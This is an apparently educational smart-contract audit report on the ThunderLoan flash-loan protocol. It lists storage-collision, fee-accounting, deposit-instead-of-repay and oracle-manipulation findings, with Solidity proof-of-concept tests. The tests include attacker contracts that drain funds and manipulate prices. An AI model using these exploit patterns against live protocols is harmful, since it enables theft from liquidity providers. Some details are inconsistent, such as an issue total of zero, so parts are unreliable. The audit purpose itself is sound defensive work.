
Tim



Contents

ThunderLoan audit	2
Table of Contents	2
Protocol Summary	2
Disclaimer	3
Risk Classification	3
Audit Details	3
Scope	3
Roles	3
Executive Summary	3
Issues found	3
Findings	4
High	4
[H-1] Erroneous ThunderLoan updateExchange in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate	4
[H-2] thunderloan deposit cause a bypass iinstead-of-repay	6
[H-3] Mixing up variable location causes storage collisions in ThunderLoan s_flashLoanFee and ThunderLoan s_currentlyFlashLoaning	7
Medium	8
[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks . . .	8

ThunderLoan audit

Prepared by: Tim

Lead Auditor: Tim

Assisting Auditors: None

Date: 27 may, 2026 **Version:** 1.0

Table of Contents

- [ThunderLoan audit](#)
- [Table of Contents](#)
- [Protocol Summary](#)
- [Disclaimer](#)
- [Risk Classification](#)
- [Audit Details](#)
 - [Scope](#)
 - [Roles](#)
- [Executive Summary](#)
 - [Issues found](#)
- [Findings](#)
- [H-1 Erroneous ThunderLoan updateExchange in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate](#)
- [H-2 thunderloan deposit cause a bypass iinstead-of-repay](#)
- [H-3 Mixing up variable location causes storage collisions in ThunderLoan s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning](#)
- [M-1 Using TSwap as price oracle leads to price and oracle manipulation attacks](#)

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1

Severity	Number of issues found
Low	0
gas	0
Informational	0
Total	0

Findings

High

[H-1] Erroneous ThunderLoan updateExchange in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2     AssetToken assetToken = s_tokenToAssetToken[token];
3     uint256 exchangeRate = assetToken.getExchangeRate();
4     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
5     emit Deposit(msg.sender, token, amount);
6     assetToken.mint(msg.sender, mintAmount);
7
8     // @Audit-High
9     @> // uint256 calculatedFee = getCalculatedFee(token, amount);
10    @> // assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

Impact: There are several impacts to this bug.

1. The redeem function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.

-
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of code

Place the following into ThunderLoanTest.t.sol:

```
1 function testRedeem() public setAllowedToken hasDeposits {
2     uint256 amountToBorrow = AMOUNT * 10;
3     uint256 calculatedFee = thunderLoan.getCalculatedFee(
4         tokenA,
5         amountToBorrow
6     );
7     vm.startPrank(user);
8     tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
9     thunderLoan.flashloan(
10         address(mockFlashLoanReceiver),
11         tokenA,
12         amountToBorrow,
13         ""
14     );
15     vm.stopPrank();
16
17     uint256 AmountToRedeem = type(uint256).max;
18     vm.startPrank(liquidityProvider);
19     thunderLoan.redeem(tokenA, AmountToRedeem);
20 }
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from deposit

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
2     amount) revertIfNotAllowedToken(token) {
3     AssetToken assetToken = s_tokenToAssetToken[token];
4     uint256 exchangeRate = assetToken.getExchangeRate();
5     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
6     / exchangeRate;
7     emit Deposit(msg.sender, token, amount);
8     assetToken.mint(msg.sender, mintAmount);
9
10    - uint256 calculatedFee = getCalculatedFee(token, amount);
11    - assetToken.updateExchangeRate(calculatedFee);
12
13    token.safeTransferFrom(msg.sender, address(assetToken), amount);
14 }
```

[H-2] thunderloan deposit cause a bypass instead-of-repay

Description: `ThunderLoan` expects you to repay a flash loan after borrowing. But nothing stops you from depositing instead of repaying. And depositing gives you back asset tokens - which you can later redeem for more than you put in.

Impact: Instead of calling `repay()`, it calls `deposit()` with the borrowed amount + fee. This does two things:

1. satisfies `ThunderLoan`'s balance check - tokens come back
2. mints `assetTokens` back to `dor` representing their deposit

Proof of Concept: you can add the following code to your to proof the concept

Proof of code

```
1 function testDepositOverRepay() public setAllowedToken hasDeposits {
2     vm.startPrank(user);
3     uint256 amountToBorrow = 50e18;
4     uint256 fee = thunderLoan.getCalculatedFee(tokenA,
5         amountToBorrow);
6     DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
7         ));
8     tokenA.mint(address(dor), fee);
9     thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
10    ;
11    dor.redeemMoney();
12    vm.stopPrank();
13    assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
14 }
15
16 contract DepositOverRepay is IFlashLoanReceiver {
17     ThunderLoan thunderLoan;
18     AssetToken assetToken;
19     IERC20 s_token;
20
21     constructor(address _thunderLoan) {
22         thunderLoan = ThunderLoan(_thunderLoan);
23     }
24
25     function executeOperation(
26         address token,
27         uint256 amount,
28         uint256 fee,
29         address /*initiator*/,
30         bytes calldata /*params*/
31     ) external returns (bool) {
32         s_token = IERC20(token);
```

```

32     assetToken = thunderLoan.getAssetFromToken(IERC20(token));
33     IERC20(token).approve(address(thunderLoan), amount + fee);
34     thunderLoan.deposit(IERC20(token), amount + fee);
35     return true;
36 }
37
38 function redeemMoney() public {
39     uint256 amunt = assetToken.balanceOf(address(this));
40     thunderLoan.redeem((s_token), amunt);
41 }
42 }

```

Recommended Mitigation: ThunderLoan should disallow deposits during an active flash loan, or check that repayment came through repay() specifically, not just that the balance increased.

[H-3] Mixing up variable location causes storage collisions in ThunderLoan s_flashLoanFee and ThunderLoan s_currentlyFlashLoaning

Description: ThunderLoan.sol has two variables in the following order:

```

1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee

```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```

1     uint256 private s_flashLoanFee; // 0.3% ETH fee
2     uint256 public constant FEE_PRECISION = 1e18;

```

Due to how Solidity storage works, after the upgrade, the s_flashLoanFee will have the value of s_feePrecision. You cannot adjust the positions of storage variables when working with upgradeable contracts

Impact: After upgrade, the s_flashLoanFee will have the value of s_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the s_currentlyFlashLoaning mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the ThunderLoanTest.t.sol file.

```

1     function testStrageCollision() public {
2         uint256 feeBeforeUpgrade = thunderLoan.getFee();
3         vm.startPrank(thunderLoan.owner());
4         ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();

```



```

5      thunderLoan.upgradeToAndCall(address(upgraded), "");
6      uint256 feeAfterUgrade = thunderLoan.getFee();
7      vm.stopPrank();
8      console2.log("feeBeforeUpgrade:", feeBeforeUpgrade);
9      console2.log("feeAfterUpgrade:", feeAfterUpgrade);
10
11      assert(feeBeforeUpgrade != feeAfterUpgrade);
12  }

```

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In ThunderLoanUpgraded.sol

```

1 -      uint256 private s_flashLoanFee; // 0.3% ETH fee
2 -      uint256 public constant FEE_PRECISION = 1e18;
3 +      uint256 private s_blank;
4 +      uint256 private s_flashLoanFee;
5 +      uint256 public constant FEE_PRECISION = 1e18;

```

Medium

medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from [ThunderLoan](#) for 1000 [tokenA](#). They are charged the original fee fee1. During the flash loan, they do the following:
 - a. User sells 1000 [tokenA](#), tanking the price.
 - b. Instead of repaying right away, the user takes out another flash loan for another 1000 [tokenA](#).

Due to the fact that the way [ThunderLoan](#) calculates price based on the TSwapPool this second flash loan is substantially cheaper.

```

1      function getPriceInWeth(address token) public view returns (uint256
        ) {

```

```

2         address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
           token);
3 @>     return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
         ();
4     }

```

3. The user then repays the first flash loan, and then repays the second flash loan. Add the following to ThunderLoanTest.t.sol.

Proof of code

```

1     function testacleManipulation() public {
2         //1. setup contracts
3         thunderLoan = new ThunderLoan();
4         tokenA = new ERC20Mock();
5         proxy = new ERC1967Proxy(address(thunderLoan), "");
6         BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
           ;
7         // create a Tswap dex between Weth /Token a
8         address tswapPool = pf.createPool(address(tokenA));
9         thunderLoan = ThunderLoan(address(proxy));
10        thunderLoan.initialize(address(pf));
11
12        // fund tswap
13        vm.startPrank(liquidityProvider);
14
15        tokenA.mint(liquidityProvider, 100e18);
16        tokenA.approve(address(tswapPool), 100e18);
17        weth.mint(liquidityProvider, 100e18);
18        weth.approve(address(tswapPool), 100e18);
19        BuffMockTSwap(tswapPool).deposit(
20            100e18,
21            100e18,
22            100e18,
23            block.timestamp
24        );
25        vm.stopPrank();
26
27        // 3. fund thunderLoan
28        vm.prank(thunderLoan.owner());
29        thunderLoan.setAllowedToken(tokenA, true);
30        //fund
31        vm.startPrank(liquidityProvider);
32        tokenA.mint(liquidityProvider, 1000e18);
33        tokenA.approve(address(thunderLoan), 1000e18);
34        thunderLoan.deposit(tokenA, 1000e18);
35        vm.stopPrank();
36
37        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
           100e18);
38        console2.log("normalFees:", normalFeeCost);

```

```

39
40     uint256 amoutnToBorrow = 50e18;
41     MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
42         (
43             address(tswapPool),
44             address(thunderLoan),
45             address(thunderLoan.getAssetFromToken(tokenA))
46         );
47     vm.startPrank(user);
48     tokenA.mint((address(flr)), 100e18);
49     thunderLoan.flashloan(address(flr), tokenA, amoutnToBorrow, "")
50     ;
51     vm.stopPrank();
52     uint256 attackFee = flr.feeOne() + flr.feeTwo();
53     console2.log("Attack fee is :", attackFee);
54     assert(attackFee < normalFeeCost);
55 }
56 }
57
58 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
59     ThunderLoan thunderLoan;
60     address repayAddress;
61     BuffMockTSwap tswapPool;
62     bool Attacked;
63     uint256 public feeOne;
64     uint256 public feeTwo;
65
66     // 1. swap TokenA borrowed for Weth
67     //Take out another flash loan to show the difference
68
69     constructor(
70         address _tswapPool,
71         address _thunderLoan,
72         address _repayAddress
73     ) {
74         tswapPool = BuffMockTSwap(_tswapPool);
75         thunderLoan = ThunderLoan(_thunderLoan);
76         repayAddress = _repayAddress;
77     }
78
79     function executeOperation(
80         address token,
81         uint256 amount,
82         uint256 fee,
83         address /*initiator*/,
84         bytes calldata /*params*/
85     ) external returns (bool) {
86         if (!Attacked) {
87             feeOne = fee;

```

```

88         Attacked = true;
89         uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
90             50e18,
91             100e18,
92             100e18
93         );
94         IERC20(token).approve(address(tswapPool), 50e18);
95         tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
96             50e18,
97             wethBought,
98             block.timestamp
99         );
100
101         thunderLoan.flashloan(address(this), IERC20(token), amount,
102             "");
103         //repay
104         IERC20(token).transfer(address(repayAddress), amount + fee)
105         ;
106         // thunderLoan.repay(IERC20(token), amount + fee);
107     } else {
108         feeTwo = fee;
109         //repay
110         IERC20(token).transfer(address(repayAddress), amount + fee)
111         ;
112         // thunderLoan.repay(IERC20(token), amount + fee);
113     }
114     return true;
115 }
116 }

```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.